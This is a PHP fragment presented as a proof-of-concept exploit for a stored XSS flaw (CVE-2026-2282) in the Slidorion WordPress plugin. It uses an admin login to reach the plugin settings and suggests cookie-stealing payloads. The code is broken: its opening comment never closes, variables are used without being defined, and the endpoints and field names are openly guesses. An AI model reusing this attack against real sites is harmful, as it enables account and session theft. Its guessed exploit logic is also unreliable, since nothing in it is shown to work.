/**
 * Proof of Concept for CVE-2026-2282.
 * This script simulates an authenticated administrator exploiting the stored XSS vulnerability
 * in the Slidorion plugin settings. The exact endpoint and parameter names are inferred
 * from WordPress plugin conventions and the vulnerability description.
 *
 * ASSUMPTIONS:
 * 1. The target has the Slidorion plugin (<=1.0.2) installed.
 * 2. The attacker possesses valid administrator credentials.
 * 3. The site is a multisite installation OR has 'unfiltered_html' disabled.
 * 4. The plugin's settings page uses a standard WordPress options form.
 * 5. The vulnerable parameter is a text field named in the plugin's settings array.

// In a real attack, this could be replaced with cookie-stealing or CSRF payloads.

// Check for login success by looking for the admin dashboard indicator
if (strpos($response, 'wp-admin') === false) {
    die('Login failed. Check credentials.');
}

// Infer the Slidorion settings page URL. Common patterns include:
// /wp-admin/admin.php?page=slidorion
// /wp-admin/options-general.php?page=slidorion
// We attempt to fetch the admin page to find the correct settings link.
curl_setopt($ch, CURLOPT_URL, $target_url . '/wp-admin/');
curl_setopt($ch, CURLOPT_POST, 0);
$admin_page = curl_exec($ch);

// This is a simulated exploit. Without the exact plugin code, we cannot know the
// precise form action or parameter names. The following demonstrates the attack pattern.
// A real exploit would require analyzing the plugin's admin page HTML to find the
// correct form action and field names.

// Example of what the actual exploit request might look like:
// POST to /wp-admin/options.php (standard WordPress options saving)
// or POST to /wp-admin/admin-post.php?action=slidorion_save_settings
// With parameters like: slidorion_settings[title] = XSS_PAYLOAD

// For this PoC, we output the inferred attack vector.
